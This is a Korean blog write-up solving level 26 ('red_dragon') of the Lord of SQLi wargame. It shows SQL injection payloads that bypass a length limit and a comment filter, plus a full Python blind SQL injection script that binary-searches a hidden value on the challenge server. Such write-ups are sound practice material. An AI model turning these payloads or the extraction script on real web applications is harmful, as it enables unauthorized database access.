본문 바로가기

워게임

los rubiya - 26(red_dragon) 풀이

붉은 용

 

시작하겠습니다.

 

흠..

 

보니 no는 숫자 값이네요! 만약 아니면 1로 강제 치환이 되게 해놨네요.

 

id는 7자리이하이구요. 저희가 알아야되는건 no의 값을 알아야만 하네요

 

음.. 일단 7자리는 안되게 ' or 1# 해보겠습니다.

 

되네요?

 

그럼.. '||no>%23&no=%0a1 해볼게요 %23은 #이여서 한 줄만 주석 처리를 합니다.

그리고 no에 %0a는 한 줄 띄어쓰기해서 #을 피해서 1을 입력하게 합니다.

그러면?

 

되네요!

 

즉 저 sql문에 주석 처리된 것을 없애서 보면

 

select id from prob_red_dragon where id=''||no> 1

 

이렇게 됩니다! 그러니 no는 당연히 1보다 크니 참이여서 admin이 나오겠죠!

 

그럼 이제 찾으면 되겠죠 no의 길이 값은 모릅니다. 왜냐 id의 길이가 한정되어 있기 때문이에요.

 

하지만 이진 탐색으로 빠르게 찾을 수 있겠죠!

 

이진 탐색에서 hello admin을 식별 단어로 하고 찾아보겠습니다.

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=g2mjo4aaa262hjvanp12295h3k"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("엔터 누르세요! ")

        index_value = "Hello admin" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 0
    end = 1000000000000
    value = ""
    
    while True :
        mid = int((start+end)/2)

        data = {
            "id": "'||no>#",
            "no": blind_query.format(mid)
        }

        response = requests.get(url, params=data, headers=headers) 


        if index_value in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
                "id": "'||no>#",
                "no": "\n"+blind_query.format(mid)
            }

            response = requests.get(url, params=data, headers=headers) 

            if index_value not in response.text :
                end = mid #거짓이면 끝 값을 mid로 바꾼다
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += str(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                print(value)
                break

    return value


blind_query = "{}"
blind_sqli(blind_query) #blind_query 시작

 

그럼 정답은 no=586482014 입니다!

 

 

굳!

 

 

 

'워게임' 카테고리의 다른 글

los rubiya - frankenstein(28번 문제)  (0) 2023.06.08
los rubiya - 27(blue dragon) 풀이  (0) 2023.05.31
los rubiya - 25(green_dragon) 풀이  (0) 2023.05.25
los rubiya - 24(evil_wizard) 풀이  (1) 2023.05.24
los rubiya - 23(hell_fire) 풀이  (0) 2023.05.24